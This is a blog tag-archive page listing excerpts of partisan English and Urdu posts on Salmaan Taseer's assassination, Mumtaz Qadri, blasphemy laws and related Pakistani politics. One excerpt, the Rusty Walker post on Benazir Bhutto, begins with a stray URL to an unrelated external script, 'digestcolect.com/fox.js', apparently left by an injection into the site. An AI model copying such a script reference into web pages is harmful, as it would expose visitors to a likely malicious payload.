Tag: Salmaan Taseer

  • PPP lost my vote by handling Salmaan Taseer’s assassination awfully – by Sana Saleem

    PPP lost my vote by handling Salmaan Taseer’s assassination awfully – by Sana Saleem

    Related posts: Blaming the victim Fake Civil Society must stop blaming the PPP: A rebuttal to Naveen Naqvi and Sana Saleem    

  • Sipah Sahaba ASWJ leader who fixed bounty on Salmaan Taseer given PML-N ticket – by Amir Mir

    Sipah Sahaba ASWJ leader who fixed bounty on Salmaan Taseer given PML-N ticket – by Amir Mir

    ISLAMABAD: Besides fielding the Lashkar-e-Jhangvi-linked Chaudhry Abid Raza from NA-107 (Gujrat), the PML-N has awarded another party ticket to Sardar Ebaad Dogar from NA-178 (Muzaffargarh) despite his being an ardent disciple of the Sipah-e-Sahaba Pakistan (SSP) who had announced Rs20 million-bounty to assassinate Salman Taseer for siding with an alleged blasphemy accused, Aasia Bibi. Salman […]

  • اس کے نام جس کا کوئی وکیل نہیں – سلمان تاثیر، شہباز بھٹی اور جنید حفیظ کی کہانی

    Related post: Islamofascists of Jamat Islami initiate blasphemy case against a university teacher in Multan ایران کے ایک جلاوطن دانشور فلسفی عبدالکریم سروش ہیں وہ کہتے ہیں کہ کسی بھی معاشرے میں حریت فکر کی پیمائش کا پیمانہ اس معاشرے کی جامعات ہواکرتی ہیں اور اگر جامعات ہی میں حریت فکر کا راستہ مسدود ہوجائے […]

  • Mumtaz Qadri, the Barelvi poster child for apologists of Deobandi TTP-ASWJ terrorists

    Mumtaz Qadri, the Barelvi poster child for apologists of Deobandi TTP-ASWJ terrorists

    Why do Deobandi activists, the Taliban-ASWJ apologists and pro-establishment fake liberals love Mumtaz Qadri? Examples from Twitter       Comment: This is typical obfuscation tactic. Violence by Sunni Barevlis, Sufis or Shias is not a norm but an exception in Pakistan. Slmaan Taseer was murdered by a Punjab elite policeman Mumtaz Hussain who belonged […]

  • تیز ترک گامزن منزل مانددور نیست: جہاں آرا منظور وٹو ۔۔۔۔

    بالآخر پاکستان کی سیاسی تاریخ میں پہلی مرتبہ عوام کی منتخب آئینی، جمہوری حکومت اپنی آئینی مدت پوری کرنے جا رہی ہے۔ جمہوریت جس کے چراغ آج دنیا بھر میں روشن ہو رہے ہیں، جس کو آج دنیا بھر میں بہترین عوامی نظام کے طور پر تسلیم اور اختیار کیا جا رہا ہے۔ آج اس […]

  • Remembering Shaheed Salman Taseer – by H.A.Khan

    I still remember I was walking on the street in Dubai after my office, I received a call from my boss that just now he had seen the news of the assassination of the late governor Salman Taseer.I was shocked to heard that tragic news and instantly called my father and talked with him on […]

  • After Salmaan Taseer? -by Tariq Bashir

    Editor’s note: This blog cross posted from The Friday Times is a typical example of the “Blaming-the-victim” tactic of civil society which continues to goad PPP into losing more lives whilst sitting on the sidelines and often aligning itself with dubious media types.  Contrary to the imagination of Tariq Bashir, Chairman PPP, Bilawal Bhutto Zardari […]

  • Moments of Grief and Sadness! -by H.A. Khan

    Yesterday I went to pick my family at bus terminal and as it was late so I took the cup of tea and start enjoying it. Then I stood by the book shelve and start seeing the books there, suddenly I saw a book titled ,PARWANA SHAMA RISALAT By Abu Hamza Mufti Jabar written in […]

  • Bloggers’ silence over holy-alliance of PPP with Mumtaz Qadri’s supporters

    When election time nears, all things virtuous and principled seem to evaporate into thin air.  It is when it becomes more difficult to decipher the very creed the political party shows to adhere itself with, but with many wrongs and with many strategic alliances it makes for its own gains, it does not warrant any […]

  • Wanjo Kanwaliyo Wanjo: Dedicated to Salman Taseer and Rimsha – Dr. Zulfiqar Ali

    Wanjo Kanwaliyo Wanjo O Koels! Go tell my loved ones, I am still living and fighting. Obstacles are high in front, Even the higher walls confront. j I stand on four limbs and fight, I fight, fight and fight. Disintegrating like petals in storm, I keep fighting on. j Facing assaults and attacks, I look […]

  • Will the real Maulana Ashrafi please stand up? – by Zain Gardezi

    I recently happened to read a really heartwarming piece written by Hafiz Maulana Tahir Ashrafi which was published in the opinion pages of one of Express Tribune, a popular English daily of Pakistan. In the midst of all the negativity that surrounds the social divide between lift and right wings, which is inflicting cracks in […]

  • Bravery has no place where it can avail nothing – by Syed Salman

    Though I wrote this blog last year when daring Salmaan Taseer was assassinated, hoping his death would not be just another to increase tally, but unfortunately things didn’t move an inch towards improvement, rather further deteriorated;  Shahbaz Bhatti was assassinated then, Shahbaz Taseer got abducted & is still missing. This is not all, lately we […]

  • Nasim Zehra’s resignation: Rind ke rind rahey hath se jannat na gai – by Danial Lakhnavi

    Related post: Nasim Zehra’s resignation, a proper class act نیوز چینلز پر ٹاک شوز کی میزبانی کے لئے ٹی وی کیمرے کے سامنے بیٹھنے والے فن کاروں کو کئی طرح کے فرائض انجام دینے ہوتے ہیں، جیسے اٹھارہ کروڑ عوام کی نمائندگی کے بھاری بھرکم بوجھ کو کندھے پر اٹھائے رکھنے، سیاست و معیشت سمیت […]

  • On Hussain Haqqani’s interview with Sana Bucha

    حسین حقانی کے خدشات امریکہ میں پاکستان کے سابق سفیر حسین حقانی نے ایک نجی ٹی وی کے ٹاک شو میں گفتگو کرتے ہوئے کہا ہے کہ وہ طبعیت کی خرابی اور درپیش خطرات کے پیش نظر فی الحال پاکستان نہیں آسکتے ہیں، جہاں تک ان کی صحت کا معاملہ ہے اس کے بارے میں […]

  • On Shahbaz Bhatti’s death anniversary and Shia genocide – by Mehmal Sarfraz

    Without tolerance, our world turns into hell” — Friedrich Durrenmatt. A year ago on this day (March 2), Federal Minister for Minorities Shahbaz Bhatti was assassinated. His assassination took place less than two months after Governor Punjab Salmaan Taseer was shot dead by his bodyguard. Both of them were ardent supporters of minority rights. Both […]

  • Muhammad Din Taseer’s address to his son’s murderer – by Naseer Ahmed

    Muhammad Din Taseer’s address to his son’s murderer – by Naseer Ahmed

    A comment by PejaMistri کبھی کبھی اکیلے بیٹھے چپ چاپ سوچتا ہوں اگر سلمان تاثیر حضور پاک صلى الله عليه وسلم کے زمانے میں ہوتے اور کسی بد زبان تند خو بد اندیش منافق مسلمان کی کمزور یہودی یا عیسائی کے ساتھ دراز دستی کی خبر آپ تک پہنچتی تو آپ کبھی کبھی ضرور فرماتے […]

  • Psych Ops: The Role of the Media in Taseer’s murder – by Abdul Basit

    The following tweet by a Pakistan’s leading lawyer and rights champion provides the basis for understanding the dynamics of Pakistan and how the PPP has been and is at the wrong end of this trifecta.  @Asma_Jahangir: Pakistan kaa masala kia — jeem jeem aur jeem (3rd January, 2012) The murder of PPP Governor Salman Taseer […]

  • The blasphemers of darkness

    “If you wish to be a ghazi, Take up your sword : Before killing the Kafir, You must slaughter the swindler.”Those were the times of turmoil and religious intolerance in Punjab when Bulleh shah emerged as a major voice against orthodoxy. A voice against the rigid and hardliner policies and views of Aurangzeb and Sheikh […]

  • An unorthodox tribute to Salmaan Taseer

    Related post: They used a hanka to murder Salmaan Taseer I consider it a befitting tribute to Salmaan Taseer to say a few bold, controversial things on his first death anniversary, which others may be reluctant to say. 1. Most of the tributes written in Taseer’s honour are lacking both in context and content, do […]

  • Salman Taseer: Resilience that gave us hope -by Zeeba Hashmi

    There is nothing unusual about pain; there is nothing different about fear. But courage to overcome fear and pain defines it uniquely for us. Today is a day marked by 26 bullets that ripped the life out the most powerful person from Punjab who dared, and I say that again, who dared to stand for […]

  • They used a haka to murder Salmaan Taseer

    They used a haka to murder Salmaan Taseer

    Do you know about the ‘haka’ or ‘hanka’ technique used in colonial India to hunt tigers? That’s exactly how the Punjab Governor and PPP’s central leader Salmaan Taseer was killed by the right wing and pseudo-liberal proxies and affiliates of Pakistan army. For starters, the right-wing left-wing binary does not apply to the context of […]

  • Salmaan Taseer, the last man who stood against the injustice of the State – by Naeem Shamim

    Source: Al Ufaq I could hardly believe my senses as the news was unfolding itself in the most atrocious manner possible but sadly, it was. It started with a red ticker reporting an incident of loud gunfire in Islamabad. It then turned out that a VVIP was being targeted in the capital. Later it was […]

  • Benazir Bhutto gave her life for a democratic and secular Pakistan – by Rusty Walker

    http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=Xsutv-HcFqg   On the anniversary of Benazir Bhutto’s assassination, December 27, 2007, I am submitting my first published essay in Let Us Build Pakistan. The article compared the recently murdered Governor Taseer, to Shaheed Mohtarma Benazir Bhutto’s resolve for democracy. Benazir Bhutto and Salman Taseer both respected and had just criticism of the U.S., but, […]

  • Ironical conflict: Mumtaz Qadri and capital punishment -by Ammar Kazmi

    Liberals are against death sentence yet not ready to accept any punishment less than death penalty for Salman Tasir’s murderer whereas most of the religious people who are in favor of death sentence expect no punishment in this case. What an ironical conflict? For liberals…what they think “deen e fitrat” is prevention against crimes or […]

  • Why Shahbaz Taseer was kidnapped? -by Watson Gill

    شہباز تاثیر کے اغواہ کیا مقصد؟۔ کیا شہباز تاثیر کو اس لئے اغواہ کیا ہے کہ اس کے خاندان کو پریشرایئز کر کے قصاص لینے پر مجبور کیا جائے اور ممتاز قادری کو باعزت بری کرا لیا جائے۔ ممتاز قادری کی حمایت میں نکلنے والے جلسے جلوسوں کی خبریں روزانہ اخبارات کی زینت بن رہی […]

  • Ansar Abbasi and his twisted mind – Supporter of Mumtaz Qadri and Khwaja Sharif

    Ansar Abbasi, Jang Group’s erstwhile investigative journalist and known supporter of Khilafat, the Pakistan Army’s involvement in politics and considered a supporter of Hizb-ut-Tahrir, has written in support of Mumtaz Hussain Deobandi aka Qadri and his future lawyer, Khwaja Sharif, by terming “Mumtaz Qadri ko saza, Adalat nay riasat kee nakami nazarandaz kardi” or “Mumtaz […]

  • My faith is stronger than your blasphemy! – by Dur-e-aden

    On October 1, 2011 a Judge of Pakistan anti-terrorism court sentenced Mumtaz Qadri to death over the murder of former Punjab Governer, Salman Taseer. As soon as the news came out, it has stirred up the debate regarding blasphemy again as this is an issue that is a cause of high polarization in our society. […]

  • Headline says it all: Khawaja Sharif to defend Mumtaz Qadri at IHC

      I need not write more than this. Former Chief Justice of Lahore High Court, Khawaja Sharif will defend murderer of Shaheed Salmaan Taseer, Mumtaz Qadri, in his appeal at the Islamabad High Court. Yet another sad day for Pakistan in 2011!   Former LHC chief justice to defend Mumtaz Qadri Express Tribune Published: October […]

  • State apathy: Growing social bigotry & violence against minorities – by Zeeba Hashmi

    A perception exists that laws, no matter how discriminatory they may be in Pakistan for minorities, are exercised in general at the behest of some law practitioners who try to keep the victims away from mob-troubles. Those publically accused of blasphemy are then either put behind bars under the proxy of protectionism before the FIRs […]

  • Let’s wipe out the PPP: On Daily Times’ editorial on Shahbaz Taseer’s kidnapping

    Related post: PSF activists support Mumtaz Qadri? Poor reporting by the Daily Times: A plea to Shaheed Taseer’s family – by Shahid Khakwani There are a number of key problems in Daily Times’ Editorial on Shahbaz Taseer’s kidnapping: 1. It completely wipes out the PPP as a persistent victim of the deep state and its […]

  • Death can not kill a character – by Ahsan Abbas Shah

  • Dismantle the oppressive establishment – by Dr Amna Buttar

    I told my nine year old daughter to dismantle the tent that she was hanging out in and was set up inside the room. She ignored me in her usual nine years old way — pretending she did not hear me. At my insistence, she dismantled the tent, and then said “here, now I have […]

  • In support of Shahbaz Taseer

    We are extremely perturbed to hear the news of the kidnapping of Shahbaz Taseer and our thoughts, prayers and wishes are with his family in this trying hour. In trying to make sense of this disturbing and depressing event, we have come across the following: – The abduction could be linked to the Islamofascist lobbies […]

  • On Ayesha Tammy Haq’s role before and after Salmaan Taseer’s murder – by Fawad Siddiqi

    Disclaimer: This post represents the personal opinion of the author and must not be misconstrued as a policy statement of the LUBP. Related posts: Three musketeers and the “PPP abandoned Salmaan Taseer” narrative “Civil” Society must stop blaming the PPP: A rebuttal to Naveen Naqvi and the ‘Twitter Opportunists Club’ The blaming the victim brigade […]

  • A tale of two murders: Searching for equal justice -By Kashif N Chaudhry

    It is the responsibility of a country’s judiciary to provide “equal justice under law” to every single citizen of the state without difference. Without an independent and honest judiciary, all the rights guaranteed to citizens under the Constitution of Pakistan become worthless – mere words on paper. Pakistan’s constitution does guarantee equal rights to (almost) […]

  • Independence Introspections – by Usmann Rana

    Today Pakistan celebrates the 64th years of its infancy in world history. Forgive Pakistanis if they seem perplexed as to what exactly are they celebrating. Is it the increasing sense of isolation that Pakistan feels whenever a major wanted terrorist suffices from the land of pure and the world points a “told you so” finger? […]

  • Pakistan and the Search for Identity (Part 1) – by Rusty Walker

    About the author: Rusty Walker is an Independent Political Analyst, educator, author, Vietnam veteran-era U.S. Air Force, from a military family, retired college professor, former Provost (Collins College, U.S.A.), artist, musician and family man. Rusty Walker is an ardent supporter of Pakistan. The following essay examines nine common narratives, over a four part series. Essentially […]

  • Deconstructing Pakistani liberals: A response to Shashi Tharoor and Raza Rumi

    Related posts: Recommending Aatish Taseer How to identify liberal proxies of GHQ in Pakistani media and blogs Taseer’s murder and the call for a ‘broad-based alliance’ between PPP and the ‘civil society’ – by Ahmad Nadeem Gehla Recently I happened to read Shashi Tharoor’s response to Pakistani “liberals”, particularly to Ejaz Haider which itself was […]

  • Recommending Aatish Taseer – by Alamdar Mengal

    It was interesting to come across some Twitter reactions to Mr. Aatish Taseer’s boldly written article, “Why My Father Hated India” that was published in the Wall Street Journal yesterday, which poses some tough questions about the historical and current nature of the military dominated state of Pakistan.  Prominent Fake Civil Society (FCS) journalist types […]

  • Interview: Shehrbano Taseer

    Shehrbano Taseer became the official spokesperson of her family after her father Salmaan Taseer, the governor of Punjab, was assassinated in January this year. But Shehrbano is more than just a vocal member of the family. She has also become the voice of reason and resistance, a representative of progressive Pakistanis, speaking out against the […]